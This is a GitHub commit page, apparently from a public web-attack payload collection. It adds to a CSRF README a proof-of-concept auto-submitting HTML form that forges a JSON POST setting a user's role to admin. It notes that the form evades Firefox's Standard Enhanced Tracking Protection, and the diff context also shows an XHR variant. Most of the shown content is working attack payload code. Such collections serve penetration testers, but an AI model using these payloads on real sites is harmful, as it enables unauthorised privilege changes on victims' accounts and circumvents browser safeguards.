Skip to content

Commit

Permalink
Merge pull request #662 from Vunnm/master-1
Browse files Browse the repository at this point in the history
Add JSON simple with form
  • Loading branch information
swisskyrepo authored Oct 10, 2023
2 parents 103f418 + 273da9e commit a95f11b
Showing 1 changed file with 13 additions and 0 deletions.
13 changes: 13 additions & 0 deletions CSRF Injection/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -112,6 +112,8 @@ xhr.send();

### JSON POST - Simple Request

With XHR :

```html
<script>
var xhr = new XMLHttpRequest();
Expand All @@ -125,6 +127,17 @@ xhr.send('{"role":admin}');
</script>
```

With autosubmit send form, which bypasses certain browser protections such as the Standard option of [Enhanced Tracking Protection](https://support.mozilla.org/en-US/kb/enhanced-tracking-protection-firefox-desktop?as=u&utm_source=inproduct#w_standard-enhanced-tracking-protection) in Firefox browser :

```html
<form id="CSRF_POC" action="www.example.com/api/setrole" enctype="text/plain" method="POST">
// this input will send : {"role":admin,"other":"="}
<input type="hidden" name='{"role":admin, "other":"' value='"}' />
</form>
<script>
document.getElementById("CSRF_POC").submit();
</script>
```

### JSON POST - Complex Request

Expand Down

0 comments on commit a95f11b

Please sign in to comment.